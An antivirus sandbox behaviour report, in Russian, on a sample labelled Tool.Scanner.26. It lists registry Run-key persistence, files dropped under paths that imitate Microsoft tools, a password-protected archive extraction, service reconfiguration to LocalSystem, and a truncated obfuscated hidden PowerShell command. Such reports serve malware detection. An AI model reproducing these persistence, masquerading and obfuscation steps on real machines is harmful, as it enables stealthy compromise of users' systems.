Tool.Scanner.26

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'PressAnyKey' = '%ALLUSERSPROFILE%\Microsoft\LogConverter\Microsoft.NodejsTools.PressAnyKey.lnk'

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\advanced_ip_scanner_2.5.4594.1.exe
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\windowsdev.7z
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\7za.exe
%TEMP%\nsm4b.tmp\nsexec.dll
%TEMP%\is-74svi.tmp\advanced_ip_scanner_2.5.4594.1.tmp
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\cg6odkyfhl3r.t
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\logconverter.bat
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\microsoft.nodejstools.pressanykey.lnk
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\nodejstoolsvsix.bat
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\q8dte1ulaxrg.t
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\microsoft.nodejstools.pressanykey.exe
%ALLUSERSPROFILE%\microsoft\logconverter\microsoft.nodejstools.pressanykey.lnk
%ALLUSERSPROFILE%\microsoft\logconverter\microsoft.nodejstools.pressanykey.exe
%ALLUSERSPROFILE%\microsoft\logconverter\cg6odkyfhl3r.t
%ALLUSERSPROFILE%\microsoft\logconverter\logconverter.bat
%ALLUSERSPROFILE%\1
%TEMP%\hcvbm1jy\hcvbm1jy.0.cs
%TEMP%\hcvbm1jy\hcvbm1jy.cmdline
%TEMP%\hcvbm1jy\hcvbm1jy.out
%TEMP%\hcvbm1jy\cscd56cef73c62c47f78e575210c6562a22.tmp
%TEMP%\res740e.tmp
%TEMP%\hcvbm1jy\hcvbm1jy.dll

Удаляет файлы, которые сам же создал

%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\microsoft.nodejstools.pressanykey.lnk
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\cg6odkyfhl3r.t
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\logconverter.bat
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\windowsdev.7z
%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\7za.exe
%TEMP%\res740e.tmp
%TEMP%\hcvbm1jy\cscd56cef73c62c47f78e575210c6562a22.tmp
%TEMP%\hcvbm1jy\hcvbm1jy.cmdline
%TEMP%\hcvbm1jy\hcvbm1jy.dll
%TEMP%\hcvbm1jy\hcvbm1jy.0.cs
%TEMP%\hcvbm1jy\hcvbm1jy.out
%TEMP%\nsm4b.tmp\nsexec.dll

Сетевая активность

UDP

Другое

Ищет следующие окна

Создает и запускает на исполнение

'%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\advanced_ip_scanner_2.5.4594.1.exe'
'%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\7za.exe' x %ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\WindowsDev.7z -pDoYh23wEWegi7eyeib6aih6Mn8u8bai4eizna -o%ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix
'%TEMP%\is-74svi.tmp\advanced_ip_scanner_2.5.4594.1.tmp' /SL5="$90030,20439558,139776,%ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\Advanced_IP_Scanner_2.5.4594.1.exe"
'%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\microsoft.nodejstools.pressanykey.exe' abnormal %ALLUSERSPROFILE%\1 %ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\NodejsToolsVsix.bat

Запускает на исполнение

'%WINDIR%\syswow64\sc.exe' config msdtc start= demand (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' config msdtc obj= "LocalSystem" (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\NodejsToolsVsix.bat""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle Hidden -command "ls pena*;SI Variable:\6TM (.(GI Variable:*uti*t).Value.(((GI Variable:*uti*t).Value|Member)[6].Name).(((GI Variable:*uti*t).Value.(((GI Variable:*uti*t).Value|Memb...
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\hcvbm1jy\hcvbm1jy.cmdline" (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES740E.tmp" "%TEMP%\hcvbm1jy\CSCD56CEF73C62C47F78E575210C6562A22.TMP" (со скрытым окном)
'%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\7za.exe' x %ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\WindowsDev.7z -pDoYh23wEWegi7eyeib6aih6Mn8u8bai4eizna -o%ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix (со скрытым окном)
'%ALLUSERSPROFILE%\microsoft\nodejstoolsvsix\microsoft.nodejstools.pressanykey.exe' abnormal %ALLUSERSPROFILE%\1 %ALLUSERSPROFILE%\Microsoft\NodejsToolsVsix\NodejsToolsVsix.bat (со скрытым окном)